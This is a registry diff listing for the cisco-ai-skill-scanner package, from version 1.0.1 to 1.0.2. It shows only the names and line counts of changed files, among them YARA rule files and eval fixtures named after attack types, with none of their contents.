cisco-ai-skill-scanner 1.0.1__tar.gz → 1.0.2__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.github/PULL_REQUEST_TEMPLATE.md +2 -2
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.github/workflows/python-tests.yml +5 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.gitignore +13 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/CONTRIBUTING.md +4 -1
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/PKG-INFO +16 -1
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/README.md +15 -0
- cisco_ai_skill_scanner-1.0.2/SECURITY.md +57 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/docs/api-server.md +39 -28
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/docs/behavioral-analyzer.md +37 -20
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/docs/meta-analyzer.md +3 -3
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/docs/threat-taxonomy.md +23 -23
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/backdoor/magic-string-trigger/process.py +2 -2
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/behavioral-analysis/multi-file-exfiltration/analyze.py +1 -1
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/behavioral-analysis/multi-file-exfiltration/reporter.py +2 -2
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/data-exfiltration/environment-secrets/get_info.py +1 -1
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/obfuscation/base64-payload/process.py +1 -1
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/test_skills/malicious/exfiltrator/analyze.py +1 -1
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/test_skills/malicious/prompt-injection/SKILL.md +2 -1
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/_version.py +2 -2
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/api/api_cli.py +2 -2
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/api/api_server.py +1 -1
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/cli/cli.py +60 -2
- cisco_ai_skill_scanner-1.0.2/skill_scanner/config/yara_modes.py +314 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/llm_analyzer.py +3 -3
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/meta_analyzer.py +50 -18
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/static.py +177 -27
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/models.py +1 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/reporters/markdown_reporter.py +9 -3
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/static_analysis/context_extractor.py +87 -13
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/data/prompts/code_alignment_threat_analysis_prompt.md +103 -28
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/data/prompts/llm_response_schema.json +3 -3
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/data/prompts/skill_meta_analysis_prompt.md +10 -9
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/data/prompts/skill_threat_analysis_prompt.md +42 -6
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/data/rules/signatures.yaml +141 -35
- cisco_ai_skill_scanner-1.0.2/skill_scanner/data/yara_rules/autonomy_abuse_generic.yara +66 -0
- cisco_ai_skill_scanner-1.0.1/skill_scanner/data/yara_rules/skill_discovery_abuse.yara → cisco_ai_skill_scanner-1.0.2/skill_scanner/data/yara_rules/capability_inflation_generic.yara +7 -4
- cisco_ai_skill_scanner-1.0.2/skill_scanner/data/yara_rules/code_execution_generic.yara +76 -0
- cisco_ai_skill_scanner-1.0.1/skill_scanner/data/yara_rules/coercive_injection.yara → cisco_ai_skill_scanner-1.0.2/skill_scanner/data/yara_rules/coercive_injection_generic.yara +2 -2
- cisco_ai_skill_scanner-1.0.2/skill_scanner/data/yara_rules/command_injection_generic.yara +77 -0
- cisco_ai_skill_scanner-1.0.1/skill_scanner/data/yara_rules/credential_harvesting.yara → cisco_ai_skill_scanner-1.0.2/skill_scanner/data/yara_rules/credential_harvesting_generic.yara +25 -4
- cisco_ai_skill_scanner-1.0.1/skill_scanner/data/yara_rules/transitive_trust_abuse.yara → cisco_ai_skill_scanner-1.0.2/skill_scanner/data/yara_rules/indirect_prompt_injection_generic.yara +8 -5
- cisco_ai_skill_scanner-1.0.1/skill_scanner/data/yara_rules/prompt_injection.yara → cisco_ai_skill_scanner-1.0.2/skill_scanner/data/yara_rules/prompt_injection_generic.yara +2 -2
- cisco_ai_skill_scanner-1.0.1/skill_scanner/data/yara_rules/unicode_steganography.yara → cisco_ai_skill_scanner-1.0.2/skill_scanner/data/yara_rules/prompt_injection_unicode_steganography.yara +23 -17
- cisco_ai_skill_scanner-1.0.2/skill_scanner/data/yara_rules/script_injection_generic.yara +82 -0
- cisco_ai_skill_scanner-1.0.1/skill_scanner/data/yara_rules/sql_injection.yara → cisco_ai_skill_scanner-1.0.2/skill_scanner/data/yara_rules/sql_injection_generic.yara +22 -8
- cisco_ai_skill_scanner-1.0.2/skill_scanner/data/yara_rules/system_manipulation_generic.yara +79 -0
- cisco_ai_skill_scanner-1.0.2/skill_scanner/data/yara_rules/tool_chaining_abuse_generic.yara +72 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/threats/__init__.py +24 -2
- cisco_ai_skill_scanner-1.0.2/skill_scanner/threats/cisco_ai_taxonomy.py +274 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/threats/threats.py +28 -99
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/behavioral/test_behavioral_analyzer.py +3 -3
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/behavioral/test_enhanced_behavioral.py +4 -4
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/test_api_server_config.py +1 -1
- cisco_ai_skill_scanner-1.0.2/tests/test_cli_custom_rules.py +285 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/test_meta_analyzer.py +28 -16
- cisco_ai_skill_scanner-1.0.2/tests/test_taxonomy_validation.py +323 -0
- cisco_ai_skill_scanner-1.0.2/tests/test_yara_modes.py +200 -0
- cisco_ai_skill_scanner-1.0.2/tests/test_yara_true_positives.py +259 -0
- cisco_ai_skill_scanner-1.0.1/SECURITY.md +0 -109
- cisco_ai_skill_scanner-1.0.1/skill_scanner/data/yara_rules/autonomy_abuse.yara +0 -66
- cisco_ai_skill_scanner-1.0.1/skill_scanner/data/yara_rules/code_execution.yara +0 -61
- cisco_ai_skill_scanner-1.0.1/skill_scanner/data/yara_rules/command_injection.yara +0 -54
- cisco_ai_skill_scanner-1.0.1/skill_scanner/data/yara_rules/script_injection.yara +0 -83
- cisco_ai_skill_scanner-1.0.1/skill_scanner/data/yara_rules/system_manipulation.yara +0 -65
- cisco_ai_skill_scanner-1.0.1/skill_scanner/data/yara_rules/tool_chaining_abuse.yara +0 -60
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.cursor/rules/codeguard-0-additional-cryptography.mdc +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.cursor/rules/codeguard-0-framework-and-languages.mdc +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.cursor/rules/codeguard-0-iac-security.mdc +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.cursor/rules/codeguard-0-mobile-apps.mdc +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.cursor/rules/codeguard-0-supply-chain-security.mdc +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.cursor/rules/codeguard-1-crypto-algorithms.mdc +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.cursor/rules/codeguard-1-digital-certificates.mdc +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.cursor/rules/codeguard-1-hardcoded-credentials.mdc +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.env.example +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.github/ISSUE_TEMPLATE/bug_report.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.github/ISSUE_TEMPLATE/feature_request.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.github/workflows/integration-tests.yml +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.github/workflows/release.yml +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.pre-commit-config.yaml +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.windsurf/rules/codeguard-0-additional-cryptography.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.windsurf/rules/codeguard-0-framework-and-languages.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.windsurf/rules/codeguard-0-iac-security.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.windsurf/rules/codeguard-0-mobile-apps.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.windsurf/rules/codeguard-0-supply-chain-security.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.windsurf/rules/codeguard-1-crypto-algorithms.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.windsurf/rules/codeguard-1-digital-certificates.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.windsurf/rules/codeguard-1-hardcoded-credentials.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/CODEOWNERS +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/CODE_OF_CONDUCT.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/LICENSE +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/TESTING.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/docs/aidefense-analyzer.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/docs/api-rationale.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/docs/architecture.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/docs/binary-handling.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/docs/developing.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/docs/llm-analyzer.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/docs/quickstart.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/docs/remote-skills-analysis.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/EVALUATION_GUIDE.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/HOW_EVAL_WORKS.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/README.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/benchmark_runner.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/eval_runner.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/backdoor/magic-string-trigger/SKILL.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/backdoor/magic-string-trigger/_expected.json +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/behavioral-analysis/multi-file-exfiltration/SKILL.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/behavioral-analysis/multi-file-exfiltration/_expected.json +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/behavioral-analysis/multi-file-exfiltration/collector.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/behavioral-analysis/multi-file-exfiltration/encoder.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/command-injection/eval-execution/SKILL.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/command-injection/eval-execution/_expected.json +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/command-injection/eval-execution/calculate.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/data-exfiltration/environment-secrets/SKILL.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/data-exfiltration/environment-secrets/_expected.json +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/obfuscation/base64-payload/SKILL.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/obfuscation/base64-payload/_expected.json +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/path-traversal/file-reader/SKILL.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/path-traversal/file-reader/_expected.json +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/path-traversal/file-reader/read.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/prompt-injection/jailbreak-override/SKILL.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/prompt-injection/jailbreak-override/_expected.json +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/resource-exhaustion/infinite-loop/SKILL.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/resource-exhaustion/infinite-loop/_expected.json +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/resource-exhaustion/infinite-loop/analyze.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/safe-skills/simple-math/SKILL.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/safe-skills/simple-math/_expected.json +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/safe-skills/simple-math/math_ops.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/safe-skills-2/file-validator/SKILL.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/safe-skills-2/file-validator/_expected.json +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/safe-skills-2/file-validator/validate.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/sql-injection/database-query/SKILL.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/sql-injection/database-query/_expected.json +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/skills/sql-injection/database-query/query.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/test_skills/malicious/eicar-test/SKILL.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/test_skills/malicious/eicar-test/_expected.json +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/test_skills/malicious/eicar-test/assets/test-binary.bin +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/test_skills/malicious/exfiltrator/SKILL.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/test_skills/malicious/exfiltrator/_expected.json +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/test_skills/safe/simple-formatter/SKILL.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/test_skills/safe/simple-formatter/_expected.json +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/test_skills/safe/simple-formatter/formatter.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/evals/update_expected_findings.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/examples/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/examples/advanced_scanning.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/examples/api_usage.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/examples/basic_scan.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/examples/batch_scanning.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/examples/behavioral_analyzer_example.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/examples/integration_example.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/examples/llm_analyzer_example.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/examples/programmatic_usage.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/pyproject.toml +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/scripts/pre-commit-hook.sh +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/api/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/api/api.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/api/router.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/cli/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/config/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/config/config.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/config/config_parser.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/config/constants.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/aidefense_analyzer.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/base.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/behavioral/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/behavioral/alignment/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/behavioral/alignment/alignment_llm_client.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/behavioral/alignment/alignment_orchestrator.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/behavioral/alignment/alignment_prompt_builder.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/behavioral/alignment/alignment_response_validator.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/behavioral/alignment/threat_vulnerability_classifier.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/behavioral_analyzer.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/cross_skill_scanner.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/llm_prompt_builder.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/llm_provider_config.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/llm_request_handler.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/llm_response_parser.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/trigger_analyzer.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/analyzers/virustotal_analyzer.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/exceptions.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/loader.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/reporters/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/reporters/json_reporter.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/reporters/sarif_reporter.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/reporters/table_reporter.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/rules/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/rules/patterns.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/rules/yara_scanner.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/scanner.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/static_analysis/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/static_analysis/cfg/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/static_analysis/cfg/builder.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/static_analysis/dataflow/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/static_analysis/dataflow/forward_analysis.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/static_analysis/interprocedural/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/static_analysis/interprocedural/call_graph_analyzer.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/static_analysis/interprocedural/cross_file_analyzer.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/static_analysis/parser/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/static_analysis/parser/python_parser.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/static_analysis/semantic/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/static_analysis/semantic/name_resolver.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/static_analysis/semantic/type_analyzer.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/static_analysis/taint/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/static_analysis/taint/tracker.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/core/static_analysis/types/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/data/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/data/prompts/boilerplate_protection_rule_prompt.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/data/prompts/unified_response_schema.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/hooks/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/hooks/pre_commit.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/utils/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/utils/command_utils.py +0 -0
